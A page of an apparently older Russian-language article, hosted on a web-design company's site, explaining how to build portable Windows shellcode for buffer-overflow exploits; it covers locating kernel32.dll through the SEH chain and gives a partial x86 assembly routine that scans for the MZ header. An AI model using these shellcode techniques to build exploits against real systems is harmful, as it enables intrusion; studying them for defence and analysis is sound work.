Разработка динамических сайтов
SEO услуги
Управление контекстной рекламой

Вход на хостинг

Имя пользователя:*

Пароль пользователя:*

IT-новости

20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла

Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......

подробнее

30.07.2015 Ищем уникальный контент для сайта

Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......

подробнее

11.05.2015 Распространённые ошибки разработчиков сайтов

Не секрет, что в сети Интернет насчитывается миллионы сайтов, и каждый день появляются тысячси новых......

подробнее

Построение переносимого shell-кода для Windows-систем


Станислав Гошко

Всё чаще и чаще обсуждаются аспекты атак на Windows-системы. Основные возможности атак на семейство данных систем были уже рассмотрены, но не стоит забывать о том, что при построении атаки на переполнение буфера в большинстве случаев атакующий сталкивается с построением shell-кода.

Shell-код – это двоичный код, который выполняется в контексте другой программы. Когда уязвимость уже обнаружена и начинается написание эксплоита, необходимо для себя решить, будет ли эксплоит зависеть только от версии уязвимой программы или ещё он будет зависеть от версии операционной системы. Если атакующий хочет, чтобы его эксплоит работал на большинстве систем, то ему необходимо построить shell-код, который бы не опирался на «жёсткие» адреса WIN API-функций.

Для построения такого рода кода необходимо, чтобы shell-код удовлетворял следующим требованиям:

n  Поиск адреса ядра (kernel32.dll).

n  Поиск адреса WIN API-функции GetProcAddress.

n  Поиск адресов других WIN API-функций при помощи функции GetProcAddress.

n  Запуск необходимых нам WIN API-функций по найденным адресам.

Каким образом возможно выполнить первое требование? При запуске любой программы в операционных системах семейства Windows она вызывается из ядра. Поэтому первый и относительно сложный способ поиска адреса ядра основан на поиске в стеке. Но если мы воспользуемся этим способом, то наш shell-код станет очень большим, поэтому мы пойдём другим путём.

Второй способ обнаружения адреса ядра – при помощи SEH. Что же такое SEH? Это структурированный обработчик исключений. К примеру, если мы пытаемся писать в ядро, то будет вызываться исключение и обрабатываться оно будет при помощи SEH. Адрес обработчика исключений всегда лежит внутри ядра, так что для поиска адреса ядра нам всего лишь необходимо найти последний обработчик. По адресу fs:[0] лежит номер текущего обработчика исключений. Ищем, пока не найдём 0xFFFFFFFF (номер системного обработчика). Этот адрес, в отличие от адреса функции ExitThread в NT, всегда лежит в kernel32.dll.

Рассмотрим пример поиска адреса kernel:

           mov    eax, fs:[ebx]              ; Указатель на список обработчиков

           inc    eax                        ; Увеличиваем eax на 1

next_seh:

           xchg   eax, ebx                   ; Обмениваем содержимое eax  c ebx

           mov    eax, [ebx-1]               ; Номер текущего обработчика

           inc    eax                        ; Увеличиваем eax на 1

           jnz    next_seh                   ; Является ли он системным (-1)?

           mov    edx, [ebx-1+4]             ; Адрес обработчика

           xchg   ax, dx                     ; Эквивалентно xor dx,dx (eax=0)

           xor    eax,eax                    ; Обнуляем eax

 

           mov    ax,1001h                   ; Помещаем в eax

           dec    ax                         ; 1000

next_block:

           cmp    word ptr [edx],'ZM'        ; Начало?

           je     found_MZ                   ; ДА!

           sub    edx,eax                    ; Ищем дальше

           jmp    next_block

found_MZ:                     

           mov    ebx,edx                    ; Сохраним указатель

           mov    edi,dword ptr [edx+3Ch]    ; Адрес PE-заголовка


Предыдущая страницаОглавлениеСледующая страница
 
[001] [002] [003] [004] [005] [006] [007] [008] [009] [010] [011] [012] [013] [014] [015] [016] [017] [018] [019] [020]
[021] [022] [023] [024] [025] [026] [027] [028] [029] [030] [031] [032] [033] [034] [035] [036] [037] [038] [039] [040]
[041] [042] [043] [044] [045] [046] [047] [048] [049] [050] [051] [052] [053] [054] [055] [056] [057] [058] [059] [060]
[061] [062] [063] [064] [065] [066] [067] [068] [069] [070] [071] [072] [073] [074] [075] [076] [077] [078] [079] [080]
[081] [082] [083] [084] [085] [086] [087] [088] [089] [090] [091] [092] [093] [094] [095] [096] [097] [098] [099] [100]
[101] [102] [103] [104] [105] [106] [107] [108] [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120]
[121] [122] [123] [124] [125] [126] [127] [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] [139] [140]
[141] [142] [143] [144] [145] [146] [147] [148] [149] [150] [151] [152] [153]

+7 (831) 413-63-27
ООО Дельта-Технология ©2007 - 2016 год
Нижний Новгород, ул. Дальняя, 17А.
Rambler's Top100